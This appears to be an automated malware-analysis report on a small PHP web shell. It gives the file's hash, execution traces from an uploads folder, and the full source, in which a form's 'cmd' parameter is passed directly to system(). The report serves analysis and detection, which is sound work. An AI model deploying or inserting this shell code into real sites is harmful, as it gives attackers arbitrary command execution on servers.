PHP Malware Analysis

easy-simple-php-webshell.php, simple.php

md5: 6a40074ab2f049148dcef4cd35f9d6b4

Jump to: 

Screenshot
Attributes
Execution

Input

Deobfuscated PHP code
<html>
<body>
<form method="GET" name="<?php 
echo basename($_SERVER['PHP_SELF']);
?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php 
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
Execution traces
data/traces/6a40074ab2f049148dcef4cd35f9d6b4_trace-1676258621.7501.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:24:07.647919]
1	0	1	0.000145	393656
1	3	0	0.000199	395224	{main}	1		/var/www/html/uploads/easy-simple-php-webshell.php	0	0
2	4	0	0.000218	395224	basename	0		/var/www/html/uploads/easy-simple-php-webshell.php	3	1	'/uploads/easy-simple-php-webshell.php'
2	4	1	0.000237	395312
2	4	R			'easy-simple-php-webshell.php'
1	3	1	0.000254	395224
			0.000279	314320
TRACE END   [2023-02-13 01:24:07.648082]


data/traces/6a40074ab2f049148dcef4cd35f9d6b4_trace-1676258893.9699.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:28:39.867718]
1	0	1	0.000150	393528
1	3	0	0.000302	395080	{main}	1		/var/www/html/uploads/simple.php	0	0
2	4	0	0.000321	395080	basename	0		/var/www/html/uploads/simple.php	3	1	'/uploads/simple.php'
2	4	1	0.000339	395152
2	4	R			'simple.php'
1	3	1	0.000355	395080
			0.000381	314240
TRACE END   [2023-02-13 01:28:39.867981]


Generated HTML code
<html><head></head><body>
<form method="GET" name="easy-simple-php-webshell.php">
<input type="TEXT" name="cmd" autofocus="" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre></pre>

</body></html>
Original PHP code
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
</html>